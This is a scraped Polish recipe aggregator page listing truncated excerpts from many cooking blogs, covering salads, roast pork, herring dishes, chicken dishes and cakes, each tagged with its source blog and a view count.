patelnię. W misce umieść rukolę, łososia i pomidorki. Posyp orzechami. Wymieszaj jogurt z sokiem z cytryny, solą i odrobiną cukru. Dodaj przeciśnięty przez praskę czosnek i wymieszaj wszystko dokładnie. Sos przełóż do sosjerki i podaj razem z sałatką. Wcinaj na zdrowie Składniki 200 g łososia wędzonego 200 g pomidorków koktajlowych 70 g orzechów włoskich 100g (opakowanie) rukoli 150 g jogurtu

Eat me! Fit me!
Aby mięso było smaczne…. 143

piekarnika, waha się od 50 minut do 1,5 h. Przykładowa marynata do boczku: 1 łyżka miodu roztarty ząbek czosnku pół łyżeczki cynamonu ubity w moździerzu goździk łyżka sosu sojowego łyżeczka soli pieprz 1/2 łyżeczki Przyprawy wymieszać ze sobą dokładnie w miseczce. Boczek na wierzchu naciąć w kratkę, dokładnie wetrzeć marynatę. Szczelnie owinąć folią aluminiową i wstaw na kilka godzin

gotuj ze mną
Soczysty schab pieczony w rękawie do pieczenia 191

święta dla swoich gości? Pieczone mięsa to nieodzowny element świątecznych stołów. Tym razem padło na publikację przepisu na pieczony schab, soczysty, idealny na kanapki ale również do kaszy i sosu np.pieczeniowego. Schab to rodzaj mięsa niezwykle chudego a co za tym idzie o soczystość trzeba się bardzo postarać. Bardzo łatwo wysuszyć go na podeszwę, która stety niestety staje w gardle

Życie zaczyna się w kuchni
Keto rolada makowa (Paleo, LowCarb) 243

pozostaje nam nic innego jak dekorowanie. Tutaj sprawdzi się świetnie moja ulubiona polewa kokosowo – jogurtowa, taka sama jak w babce mandarynkowej . Ale nie tylko – także rozpuszczona czekolada lub sos karmelowy z tego przepisu – wybór należy do Was! W każdym wydaniu keto rolada makowa będzie nie tylko piękna ale także wyborna w smaku! Rolada makowa Typowo świąteczny wypiek - keto rolada

Modern Cave Girl
Siekane kotleciki z piersi kurczaka i pieczarek 153

Doprawiłam solą, pieprzem ziołowym i czarnym. Wymieszałam dokładnie.  Łyżką nakładałam placuszki na gorący olej na patelni. Smażyłam z obu stron na złoty kolor. Świetnie te kotleciki smakują z sosem tzatziki. Tym razem podałam je z ryżem i warzywami. Świetne! Smacznego! Lidka Artykuł Siekane kotleciki z piersi kurczaka i pieczarek pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Schab ze śliwką 188

dopieczony i przyprawiony. Tradycyjny i bardzo prosty sposób na wyśmienity schab faszerowany suszonymi śliwkami. Świetne mięso pieczone na Święta. - soczyste i idealnie doprawione mięso  - dodatkowo szybki przepis na sos pieczeniowy - najprostszy sposób na schab pieczony ze śliwkami - do podania na ciepło oraz na zimno do krojenia w plastry

AniaGotuje.pl
Udka kurczaka pieczone w żurawiną, pomarańczami i marchewką 193

żurawinę w occie i cukrze.   Całość wstawiamy do piekarnika i pieczemy około 40-45 minut, aż kurczak jest złocisty i gotowy w środku. Podajemy gorące, z dodatkami, polane sosem z pieczenia.   Powrót na górę

Smaczna Strona
Sałatka z kurczakiem i ananasem 198

majonez i śmietanę, wszystkie składniki dokładnie mieszamy. Sałatkę doprawiamy solą i pieprzem i odstawiamy na co najmniej godzinę do lodówki. Zapraszam również do skorzystania z innych przepisów: Śledzie w sosie koperkowym Surówka z selera i jabłka – Ksiega-smaku.pl Sałatka warstwowa gyros – Ksiega-smaku.pl Sałatka z kurczakiem, pieczonym burakiem i fetą Artykuł Sałatka z kurczakiem i ananasem pochodzi z serwisu Księga Smaku

Księga-Smaku
Kremowy Sernik Z Polewą Karmelową 318

potrząsać rondelkiem. Czekamy aż syrop nabierze bursztynowego koloru. Jak tylko to się stanie to zdejmujemy z palnika i wlewamy śmietankę oraz masło. Mieszamy i odstawiamy do lekkiego zgęstnienia. gotowym sosem polewamy schłodzony sernik. Smacznego

Gotowanie...to proste !
Idealny prezent dla fanów gotowania 164

najmniejszego skaleczenia. Z szatkownicą przygotowanie sałatek na imprezę rodziną będzie czystą przyjemnością. Wzbogacisz swoje menu o makarony warzywne, które są lekkie i zdrowe. Świetnie komponują się z podstawowymi sosami do włoskich past. Link do szatkownic znajdziesz TUTAJ!!! Telewizor android TV Telewizor z systemem android TV umożliwia dostęp do tysięcy, jeśli nie milionów, aplikacji (baza Google). Możliwość przeniesienia ulubionych gier

kuron.com.pl
Śledzie z suszonymi pomidorami i rozmarynem 148

bardzo śródziemnomorskie. Jeżeli nie wiesz jak przyrządzić śledzie w tym roku - wypróbuj ten przepis.  Spróbuj również innych przepisów na śledzie: Śledzie curry Śledzie w musztardzie Śledzie w sosie tatarskim Sałatka śledziowa z burakiem, ogórkiem kiszonym i jajkiem Składniki: 400 g śledzi (odsączonych) w occie 10 pomidorów suszonych 3 łyżeczki prawdziwego miodu 3 gałązki świeżego rozmarynu lub 2 łyżki suszonego

Czarnawisienka
Gulasz wołowy z morelami i przyprawą do piernika 117

godziny). Kiedy mięso jest już miękkie, gulasz doprawiamy przyprawą do piernika, solą i świeżo mielonym pieprzem. Do 1/4 szklanki wody wsypujemy mąkę, mieszamy. Dolewamy do tego trochę sosu z gotowania, mieszamy i wszystko wlewamy do garnka z mięsem, mieszamy i zagotowujemy

Kardamonovy
Karp smażony w panierce miodowo-czosnkowej 134

najpierw w marynacie z jajek, następnie w bułce tartej. Smażymy na złoty kolor z obu stron, koniecznie na klarowanym maśle, ono dodaje dodatkowego aromatu. Serwujemy na gorąco z koperkiem, sosem koperkowym lub po prostu solo. Smacznego ! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Karp smażony w panierce miodowo-czosnkowej pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Schab w sosie musztardowym 218

cebule 2 ząbki czosnku czubryca czerwona kminek mielony papryka słodka tabasco, ocet winny ,maggi 1/2 szklanki bulionu 1/2 szklanki mleka 2 łyżki musztardy 1 … Czytaj dalej Schab w sosie musztardowym

czarrna od kuchni
Pierś z kurczaka w pomidorowym sosie curry 156

Pierś z kurczaka w pomidorowo-śmietanowym sosie curry to świetna propozycja na smaczny i szybki obiad czy kolacje. Można go przygotować zarówno w wersji łagodnej jak i pikantnej. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 300 gram ryżu jaśminowego lub basmati ( ja użyłam jaśminowego), 1 podwójna pierś z kurczaka, 1 duża cebula 3 ząbki czosnku, 1 puszka pomidorów krojonych 3/4 opakowania przyprawy curry

Blog kulinarny S9.PL
Paszteciki grzybowe 207

odstawiamy na minimum 2-3 godziny, a najlepiej na całą noc. Po tym czasie całość gotujemy około 20-30 minut. Grzyby odcedzamy (wywar można wykorzystać do barszczu, zupy lub sosu), studzimy i drobno kroimy. Cebulę obieramy i kroimy, podsmażamy na maśle. Pod koniec dodajemy nasze pokrojone grzyby, całość doprawiamy świeżo mielonym pieprzem i solą, mieszamy. Patelnię odstawiamy

Słodkie okruszki
śledzie w pieczarkach 125

pomidorowy, ocet, doprawiamy papryką sproszkowaną, solą oraz pieprzem i chwilę podsmażamy. Zestawiamy z ognia i odstawiamy do wystudzenia. Śledzie odsączamy z oleju, kroimy na mniejsze kawałki i mieszamy z sosem pieczarkowym. Całość najlepiej przełożyć do słoika zakręcić i schłodzić w lodówce przez

Domowy Smak Jedzenia
ŚLEDZIE W ZIOŁACH + FILMIK 124

PRZYGOTOWANIE :  Śledzie należy wymoczyć około 2-3 godzin, osuszyć i pokroić na kawałki.  Wszystkie zioła wsypujemy do miski, dodajemy sok z cytryny, olej i mieszamy.  Do sosu ziołowego dodajemy śledzie i mieszamy. Nakładamy do słoików i przechowujemy w lodówce do momentu aż zjemy. Smacznego

Kulinarne Fantazje Marioli
Kotleciki Klarnetki 249

mąki pszennej wsypujemy do naczynia i mieszamy ze śmietaną, łączymy z grzybami. 10.    Kluseczki gotujemy w osolonej wodzie. 11.    Na talerzu układamy kluseczki, polewamy sosem z grzybami, obok nakładamy kotlety. 12.    Obiad gotowy. 13.    Smacznego

Kulinarna Chwila
Krokiety z kapustą i grzybami 196

lodówce. Znam również osoby, które takie krokiety mrożą, by dowolnego dnia mieć danie na szybko.     Sprawdź też… ** Śledzia z cebulką ** Śledzia po polsku ** Rybę w sosie ananasowo-keczupowym   Składniki: 2 szklanki mąki pszennej 1 szklanka wody (może być zwykła lub gazowana) 1 szklanka mleka 2 jajka 2 łyżki oleju 1 łyżeczka soli   500 g kapusty

Kulinarny S.O.S.
Krokiety z kapustą i grzybami 196

lodówce. Znam również osoby, które takie krokiety mrożą, by dowolnego dnia mieć danie na szybko.     Sprawdź też… ** Śledzia z cebulką ** Śledzia po polsku ** Rybę w sosie ananasowo-keczupowym   Składniki: 2 szklanki mąki pszennej 1 szklanka wody (może być zwykła lub gazowana) 1 szklanka mleka 2 jajka 2 łyżki oleju 1 łyżeczka soli   500 g kapusty

Kulinarne S.O.S.
Pikantne śledzie w migdałach z daktylami 168

codzień i szczególnie od Święta w słodko-ostrym, rozgrzewającym anturażu lekkiej słodkości ;) Pikantne śledzie w migdałach z daktylami Potrzebujesz: 5-6 filetów śledzia a'la matias 2 łyżki ostrego sosu Sriracha 3 ząbki czosnku 8 suszonych daktyli 2 łyżki płatków migdałów 1/2 niewielkiej cebuli 7 łyżek dobrej jakości oleju roślinnego Sposób przyrządzenia: 1. W miseczce wymieszaj olej, Srirachę i przeciśnięty

Kuchnia w Słońcu Skąpana
Pieczona pierś indyka 173

pieczenia. U mnie mięso piekło się przez około godzinę (miałam 800-900 g). Pod koniec pieczenia (na jakieś 15-20 minut przed czasem) odkrywamy mięso i polewamy go wytworzonym sosem. Pieczemy do lekkiego przyrumienienia. Upieczone mięso odstawiamy do przestudzenia

Smaki Na Talerzu
Śledzie pod pierzynką – sałatka warstwowa 161

drobnych oczkach. Cebulę i paprykę kroimy w kostkę. Szczypiorek siekamy. Majonez mieszamy z musztardą, solą i pieprzem. W szklanej salaterce układamy warstwami: - śledzie - cebula - papryka konserwowa - ziemniaki - marchew - sos majonezowy - ser żółty - szczypiorek Sałatkę odkładamy do lodówki na co najmniej godzinę. [caption id="attachment_8621" align="aligncenter" width="1024"] Śledzie pod pierzynką[/caption] Zobacz inne przepisy na sałatki śledziowe: Sałatka

e-PrzepisyKulinarne
Polędwiczki z mozzarellą 220

rękawie do pieczenia i pieczemy 30 minut w 180°C. 7.   Po upieczeniu kroimy w 2 cm plasterki i układamy na półmisku. 8.   Możemy polać dowolnym sosem. 9.   Smacznego

Kulinarna Chwila
Rolada z boczku i mięsa mielonego 154

Nasz ulubiony kawałek mięsa na chlebek. Można roladę również podać pokrojoną w plasterki z dodatkiem sosu chrzanowego lub czosnkowego. Odciąć skórę z boczku, doprawić solą, pieprzem, majerankiem, papryką ostrą i słodką. Mocno wszystko wetrzeć z obydwu stron. Odstawić. Przygotowanie nadzienia – mięso mielone wrzucić do miski. Cebulkę i pora pokroić drobno, dodać do mięsa. Wbić jajko, dodać bułkę tartą

Kuchnia Pokoleń
Budapeszt w jeden dzień. Plan zwiedzania, ciekawostki, jedzenie 172

fanką tych tłustych słodkości nie jestem jednak te mi naprawdę smakowały. Local Korner - miejsce z klimatem i pyszną pizzą. Wybiera się spód pizzy (zwykły, pełnoziarnisty i z brzegami serowymi), sos (pomidorowy, bbq i czosnkowy) oraz 5 dodatków (za kolejne lub "droższe" się dopłaca, ale te 5 zwykłych w cenie zdecydowanie wystarcza, nawet polecałabym brać mniej. Il Terzo Cerchio

Czarnawisienka
Rolada ze schabu 728

minut , następnie zmniejszamy temperaturę do 120’C i pieczemy jeszcze przez 70 minut *** *** Roladę można podawać zarówno na ciepło- jako danie obiadowe (powstały płyn można zagęścić i przerobić na sos), jak i na zimno – jako wędlina na kanapki *** *** SMACZNEGO ***     POLECAM TAKŻE: SCHAB Z PIEKARNIKA – WĘDLINA NA KANAPKI PRZEPIS TUTAJ POMYSŁY NA NIEDZIELNY I ŚWIĄTECZNY OBIAD KLIKNIJ TUTAJ

Blog z Apetytem
Przepisy na Wigilię: Tarta z rybą po grecku 182

tropy prześledziła Agnieszka Kręglicka w jednym z felietonów dla „Wysokich Obcasów” (doszukując się podobieństwa ryby po grecku do psari speciota, ryby pieczonej pod lekkim warzywno-winnym, głównie pomidorowym sosem). Ryba a la ciasto Niezależnie od rodowodu, ryba po grecku stała się jednym z must have na polskiej wigilii. U nas w domu też tak jest, choć stoi raczej na skraju

Niedzielny kucharz
Przepisy na wigilię: Tarta z rybą po grecku 161

tropy prześledziła Agnieszka Kręglicka w jednym z felietonów dla „Wysokich Obcasów” (doszukując się podobieństwa ryby po grecku do psari speciota, ryby pieczonej pod lekkim warzywno-winnym, głównie pomidorowym sosem). Ryba a la ciasto Niezależnie od rodowodu, ryba po grecku stała się jednym z must have na polskiej wigilii. U nas w domu też tak jest, choć stoi raczej na skraju

Niedzielny kucharz
Śledzie z zielonym ogórkiem 122

Czas Przygotowania : 2,5 h Gotowe w : 2/3 dni   Kilka a może i nawet kilkanaście lat temu pierwszy raz miałam okazje skosztować śledzi z zielonym

uDolores.pl - tylko sprawdzone przepisy
Biscuits and gravy 166

istotną częścią naszego życia, że ma swoje dni tak samo jak inne ważne zjawiska. Jutro przypada dzień biscuits and gravy. Czyli tak technicznie, po naszemu, ciastek w sosie :) Danie pochodzi z południa USA i ma podobno szkocki rodowód, co z punktu widzenia przepisów znajdujących się na tej stronie stanowi pewną rekomendację :) Jest to kolejne danie z mojego ulubionego antytrendu

Kryzysowa Książka Kucharska
Zupa grzybowa 204

wodzie, w której gotowały się grzyby, zupa ma intensywny kolor i aromat. Jeśli nie zrobiłabym zupy grzybowej, to pewnie zamroziłabym ten wywar po grzybach i na jego bazie powstałby sos do świątecznej pieczeni. Tak przynajmniej robiłam co roku. A w tym pieczeni nie będzie, ale była za to pyszna zupa grzybowa na grudniowy przedświąteczny obiad.  Składniki: na wywar

bistro mama
Pizza Indyjska 142

cebulę, dobrze wymieszaj, gotuj, aż cebula zmięknie, dodaj kurkumę, sól i papryki. Gotuj, często mieszając, aż papryka będzie miękka. Wlej śmietanę i starty Paneer, dobrze wymieszaj i gotuj, aż sos zgęstnieje. Rozgrzej grill w piekarniku. Połóż chleby naan na blaszkę. Nałóż na każdy z nich, zawartość patelni, posyp posiekaną kolendra i serem cheddar. Włóż do piekarnika pod grill

RafalCook
Makaron z polędwicą z indyka i suszonymi pomidorami 172

całość dusimy chwlię na małym ogniu często mieszając do lekkiego odparowania wody, na koniec wyłączamy gaz, doprawiamy solą i pieprzem, dodajemy 3/4 posiekanej natki pietruszki, dokładnie mieszamy, indyka z sosem łączymy z odcedzonym makaronem, posypujemy pozostałą natką pietruszki, (adsbygoogle = window.adsbygoogle || []).push({}); Zdjęcia

Blog kulinarny S9.PL
Siekane kotleciki z piersi kurczaka i pieczarek 222

Doprawiłam solą, pieprzem ziołowym i czarnym. Wymieszałam dokładnie.  Łyżką nakładałam placuszki na gorący olej na patelni. Smażyłam z obu stron na złoty kolor. Świetnie te kotleciki smakują z sosem tzatziki. Tym razem podałam je z ryżem i warzywami. Świetne! Smacznego! Lidka

Pieprzyć z Fantazją
Surówka z kiszonej kapusty 138

Dodaj kapustę, olej i przyprawy. Całość dobrze wymieszaj. Gotową surówkę możesz podać od razu po przygotowaniu lub przechowywać w lodówce.     Surówka pasuje do… – Schabu w sosie własnym – Kotletów drobiowych z serem i majonezem – Gniazdek z mięsa mielonego – Kotletów drobiowych mielonych – Kotletów rybnych siekanych

Kulinarny S.O.S.
Surówka z kiszonej kapusty 138

Dodaj kapustę, olej i przyprawy. Całość dobrze wymieszaj. Gotową surówkę możesz podać od razu po przygotowaniu lub przechowywać w lodówce.     Surówka pasuje do… – Schabu w sosie własnym – Kotletów drobiowych z serem i majonezem – Gniazdek z mięsa mielonego – Kotletów drobiowych mielonych – Kotletów rybnych siekanych

Kulinarne S.O.S.
Sałatka warstwowa z ananasem 176

każdą okazję: imprezę, niedzielne śniadanie, sylwester czy święta. Szybko znika ze stołu, więc czasem trzeba robić dwie. Dodatek ananasa sprawia, że sałatka dostaje takiego świeżego, słodkiego „kopa” a sos doskonale spaja całość, po wymieszaniu wszystkich składników na talerzu oczywiście. Polecam, zamiast tej tradycyjnej jarzynowej, tak dla odmiany J SKŁADNIKI: ·        5 jajek

Calzonella.com
Pałac Zaborówek - klimatyczne miejsce na każdą imprezę 166

świeżo tarty chrzan pasztet z gęsi, żurawina i czerwone wino sandacz, puree z kalafiora, seler, zielona oliwa kremowe risotto z borowikiem i serem bursztyn schab z dzika, pieczone warzywa, sos rozmarynowy ciasto Pani Walewska Klimatycznie urządzone wnętrza pałacu Wodzińskich - bez zbędnego przepychu i blichtru - przenoszą nas do pierwszej połowy XIX wieku. Tutaj czas płynie inaczej i w salach oraz oranżerii

Kulinarne przygody Gatity
Ślimaczki z boczkiem 106

potrawom ciekawy kształt i smak. Przykładem na to mogą być zrobione przeze mnie pikantne ślimaczki, które można podawać na ciepło jak i na zimno. Smakują jeszcze lepiej maczane w sosie czosnkowym ( przepis ) lub jakimkolwiek innym (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 opakowanie mrożonego ciasta francuskiego 20 dag wędzonego boczku 1 czerwona papryka 1/2 zielonej papryki 1 cebula 1 ząbek czosnku sól

Danka Pichci
Filet z indyka w sosie pomidorowym z pieczarkami 159

drobiowych. Można go przyrządzać na różne sposoby. Pierś z indyka (bez skóry) jest najchudszym mięsem, a przy tym smaczna, sycąca, zdrowa i niskokaloryczna. Ja zrobiłam filety z piersi w sosie pomidorowym z dodatkiem pieczarek. Danie te często gości u mnie na stole w połączeniu z ryżem lub kaszą.  (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1/2kg filetu z indyka lub kurczaka

Danka Pichci
Udka pieczone z czosnkiem 126

lekko posypać solą, pieprzem i ziołami prowansalskimi.  3. Naczynie wstawić do piekarnika rozgrzanego do temperatury 210st.C. i piec około 45-50 minut. W czasie pieczenia, mięso często podlewać sosem z dna naczynia. 4. Tak przygotowane danie podawać z ziemniakami z wody lub kaszą. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Pieczarki faszerowane szpinakiem 134

Chrupiące pieczarki z farszem szpinakowym będą doskonałą przystawką na imprezę ze znajomymi. Podane ze sosem czosnkowym smakują wyśmienicie. Można je przygotować wcześniej, a przed przyjęciem odgrzać w piekarniku.  (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500g pieczarek (najlepiej większych) 200g szpinaku 2 jajka 2 łyżki mąki pszennej 15g żółtego sera ząbek czosnku  3 łyżki masła 1 mała cebula olej do smażenia

Danka Pichci
Domowe nuggetsy z kurczaka 132

pyszną i chrupiącą przekąskę możemy sobie przygotować w domu. Nasze pociechy z pewnością będą z nich zadowolone. Podane z kolorową surówką z sałaty lodowej ( przepis  ) i ulubionym sosem (w moim przypadku był to tysiąca wysp) mogą stanowić idealną przekąskę na spotkanie w gronie znajomych czy przyjęcie rodzinne (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500g filetu piersi z kurczaka 4 łyżki płatków

Danka Pichci
Roladki drobiowe 2432

tych roladek nie poświęcimy dużo czasu. Jest to danie stosunkowo proste i raczej każdy powinien sobie z nim poradzić. W efekcie końcowym uzyskamy pyszne i soczyste roladki drobiowe w sosie śmietanowym. Można je podawać według uznania. Ja postawiłam na surówkę i kaszę (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 2 podwójne piersi z kurczaka (filety) 8 plasterków szynki gotowanej 8 plastrów sera żółtego

Danka Pichci
Gyros zapiekany w cieście francuskim 140

cieście francuskim. Mimo, że obie potrawy robi się z tych samych składników to efekt końcowy jest zupełnie inny, a smak niepowtarzalny! Taki gyros szpinakowy można podawać z ulubionym sosem np. czosnkowym, tysiąca wysp czy z ketchupem. Gorąco polecam do wypróbowania! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 płat ciasta francuskiego około 300 g filetu z kurczaka 1 cebula 1/2 czerwonej papryki

Danka Pichci
Pizza a’la gyros 125

patelni rozgrzać 2 łyżki oleju i podsmażyć pokrojonego kurczaka. Wyrośnięte ciasto rozwałkować na wielkość blachy lub na kształt koła. Przełożyć do blachy wysmarowanej tłuszczem. Ciasto posmarować przygotowanym sosem. Wyłożyć podsmażonego kurczaka i pozostałe składniki. Posypać startym serem. Doprawić solą, pieprzem i przyprawą do gyrosa.  5. Tak przygotowaną pizzę włożyć do piekarnika nagrzanego do 200 st.C. i piec

Danka Pichci
Duszone warzywa z mleczkiem kokosowym i kurczakiem 122

wody. Następnie dodać por i podsmażone mięso. Wymieszać i poddusić 2-3 minuty. Następnie całość zalać mleczkiem kokosowym, dodać curry, doprawić solą i pieprzem. Smażyć około 5 minut, aż sos zgęstnieje. 5. Podawać z ulubionym makaronem lub ryżem. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Pałki z kurczaka w miodowo-pikantnej marynacie 140

chrupiąca skórka. Idealnie sprawdzi się na weekendowy obiad! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: ok. 1 kg pałek z kurczaka (mogą być ćwiartki) Marynata: 2 łyżki miodu płynnego 2 łyżki sosu sojowego ciemnego 1 łyżka octu balsamicznego 3 łyżki ketchupu pikantnego 2 łyżki oleju 1/2 łyżeczki chili sól (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Pałki umyć, osuszyć (jeżeli mamy ćwiartki to podzielić

Danka Pichci
Klopsiki ziemniaczane z pieczarkami 127

kopytka ( kopytka ) lub podsmażam na patelni z sadzonym jajkiem. Dzisiaj jednak zrobiłam z ugotowanych ziemniaków pyszne kotlety z dodatkiem pieczarek i żółtego sera. Takie danie możemy podać z dowolnym sosem i surówką! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 800 g ziemniaków ugotowanych 200 g pieczarek 1 średnia cebula 2 ząbki czosnku 1 jajko 2 łyżki mąki pszennej 1 łyżka mąki ziemniaczanej sól

Danka Pichci
Kurczak po meksykańsku 4665

paprykę. Całość chwilę poddusić, dodać kukurydzę, fasolę, przecier pomidorowy. Doprawić solą, pieprzem, paprykami, kminem rzymskim. Dodać obrany i przeciśnięty przez praskę czosnek, łyżeczkę cukru. Dusić około 5 minut. Gdyby sos był zbyt gęsty, podlać odrobiną wody. Na koniec posypać posiekaną kolendrą lub natką pietruszki. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Rolada z mięsa mielonego 2603

mięsa mielonego możemy przygotować wiele różnego rodzaju potraw. Najpopularniejsze to tradycyjne klopsiki mielone lub gołąbki, a także różnego rodzaju pulpeciki (np. w sosie pomidorowym lub koperkowym ). Tym razem wykorzystałam mięso mielone do zrobienia pysznej rolady z serem i suszonymi pomidorami. Taka roladka idealnie sprawdzi się na nadchodzące Święta i nie tylko! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 500 g mielonego mięsa wieprzowego

Danka Pichci
Karkówka duszona z marchewką 125

pyszne dania (np.  karkówka duszona z pieczarkami ). Tłuszczyk, którym jest poprzerastane mięso sprawia, że cała potrawa po upieczeniu jest soczysta i mięciutka. Dzisiaj polecam wypróbować karkówkę duszoną w sosie własnym z marchewką! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 kg karkówki bez kości 3 marchewki 2 cebule 1/2 łyżeczki kolorowego pieprzu w ziarnach 3 liście laurowe 6 ziaren ziela angielskiego

Danka Pichci
Kurczak w indyjskim sosie 12197

indyjsku ( przepis ), jednak dzisiejsza moja wersja różni się od poprzedniej, ponieważ wtedy dodawałam warzywa i użyłam nieco innych przypraw. Tym razem jest tylko mięso z kurczaka w aromatycznym sosie pomidorowym z dużą ilością różnych przypraw charakterystycznych dla kuchni indyjskiej.  (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 podwójny filet z piersi z kurczaka (około 400 g) 2 ząbki czosnku 1 średnia cebula

Danka Pichci
Surówka kopenhaska 133

pokroić, dodać do pozostałych składników. Sałatę porwać na nieduże kawałki, dodać do miski. 2. W małej miseczce wymieszać majonez (lub jogurt naturalny) z musztardą. Dodać trochę soli oraz pieprzu. Sos przełożyć do surówki. Posypać natką pietruszki i całość delikatnie wymieszać przed podaniem. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Surówka z pora i marchewki 120

warzywo, które w kuchni wykorzystujemy głównie jako dodatek do zup czy sosów. Jednak można z niego też przygotować pyszną sałatkę (na przykład ziemniaczaną ) lub surówkę, na którą przepis znajdziecie poniżej. Jest ona bardzo smaczna i prosta w przygotowaniu. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 por (jasna część) 1 marchewka 1 jabłko 2 łyżki majonezu 1 łyżka soku z cytryny pieprz (adsbygoogle

Danka Pichci
Gnocchi 123

dużo wody. Ciasto zagniatamy szybko oraz gdy kartofle są jeszcze ciepłe po ugotowaniu. Można dodawać do nich również zblanszowany szpinak, pieczoną dynię czy parmezan. Gnocchi podajemy z różnymi sosami, na przykład pomidorowym czy grzybowym. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: około 600 g ziemniaków 1 jajko 3/4 szklanki mąki pszennej sól, gałka muszkatołowa  (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Ziemniaki umyć, ugotować

Danka Pichci
Kotlety jajeczne z pieczarkami 144

brokułowo-ziemniaczane ( przepis ), a ostatnio zrobiłam pyszne i proste w przygotowaniu kotlety jajeczne z pieczarkami. Smakują zarówno na ciepło, jak i na zimno. Można podawać z ulubioną surówką i sosem. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 6 jajek 200 g pieczarek 50 g żółtego sera 1 łyżka masła 1 łyżka mąki pszennej 1 nieduża cebula sól, pieprz bułka tarta olej do smażenia

Danka Pichci
Kurczak po tajsku 126

mięso zbieleje. 3. Paprykę umyć, usunąć gniazda nasienne, pokroić w paski. Przełożyć na patelnię. Podsmażyć 2-3 minuty. Na patelnię wlać mleczko kokosowe. Całość smażyć przez chwilę, aż sos zgęstnieje. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Kurczak miodowy ze szpinakiem 122

Zazwyczaj przygotowuję kurczaka w jakimś sosie, na przykład musztardowym czy ziołowym . Jednak czasem wystarczy przygotowanie ciekawej marynaty do mięsa, dzięki której nabierze ono wyjątkowego smaku. Tak też zrobiłam dzisiaj i przygotowałam pysznego miodowego kurczaka, którego podałam ze szpinakiem oraz pomidorkami koktajlowymi. Gorąco polecam wypróbować! (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: około 300 g filetu z piersi kurczaka 200 g szpinaku 2 ząbki

Danka Pichci
Kurczak po włosku 110

Dzisiejsza moja propozycja to roladki drobiowe w sosie pomidorowym z mozzarellą. Nie są to typowe rolady z farszem, tylko kawałki filetu z kurczaka zawinięte w szynkę szwarcwaldzką doprawione dużą ilością ziół. Jest to proste danie, które przygotujemy na jednej patelni. Roladki możemy podawać z ulubionym makaronem. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 podwójny filet z piersi kurczaka 8 plastrów szynki szwarcwaldzkiej

Danka Pichci
Sałatka bankietowa 154

odsączoną kukurydzę, dodać rozdrobnionego tuńczyka. Następnie dodać pokrojonego w półtalarki pora oraz starte białko jajka. Oprószyć solą, pieprzem. Wsypać odsączony groszek i pokrojoną w kostkę paprykę. Całość posmarować przygotowanym sosem. Wierzch posypać startym żółtkiem i udekorować pokrojonym szczypiorkiem. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Bigos po cygańsku 145

window.adsbygoogle || []).push({}); Składniki: 1/2 kg wieprzowego mięsa mielonego 1/2 kajzerki 1 jajko 2 ząbki czosnku 1 łyżeczka majeranku 1/2 łyżeczki ostrej papryki sól, pieprz do smaku olej do smażenia Sos: 500 g pieczarek 2 czerwone papryki 2 cebule 3 nieduże ogórki kiszone (ewentualnie konserwowe) 2 puszki pomidorów w kawałkach (2×400 g) 1 słoiczek ketchupu pikantnego

Danka Pichci
Szaszłyki pieczone 119

łopatki wieprzowej 400 g boczku wędzonego 2 czerwone papryki 3-4 nieduże cebule Marynata: 4 łyżki oleju 1 łyżeczka słodkiej papryki 1/2 łyżeczki ostrej papryki 2 łyżki sosu sojowego 1 ząbek czosnku sól, pieprz szczypta chili (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Składniki marynaty przełożyć do miseczki. Dodać obrany, przeciśnięty przez praskę czosnek i wymieszać. 2. Mięso umyć, osuszyć. Usunąć błonki

Danka Pichci
Pesto bazyliowe 142

oliwek. Zmiksować na jednolitą masę. Na końcu dodać pokrojony ser. Doprawić solą, pieprzem. Całość zblendować. Gotowe pesto przelać do słoiczka i na wierzch wlać warstwę oliwy, aby przykrywała sos. Zakręcić słoiczek i przechowywać w lodówce. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Pieczone ziemniaczki 3193

sposób, na przykład upiec w piekarniku z ulubionymi ziołami. Takie ziemniaki mogą stanowić świetny dodatek do dań obiadowych lub samodzielną przekąskę na przyjęciach ze znajomymi czy rodziną. Z ulubionym sosem będą smakować jeszcze lepiej. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 kg ziemniaków 3 łyżki oleju zioła prowansalskie, tymianek, oregano, sól, pieprz, papryka ostra i słodka (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Ziemniaki

Danka Pichci
Sałatka owocowa 116

kostkę, przełożyć do pozostałych owoców. Banana obrać ze skórki, pokroić w plasterki do sałatki. 2. Do osobnej miseczki wycisnąć sok z limonki, dodać miód, szczyptę cynamonu. Wymieszać i sosem polać sałatkę. Sałatkę wymieszać, schłodzić i podawać z listkami mięty. (adsbygoogle = window.adsbygoogle || []).push

Danka Pichci
Kurczak z fasolką szparagową w sosie śmietanowym 135

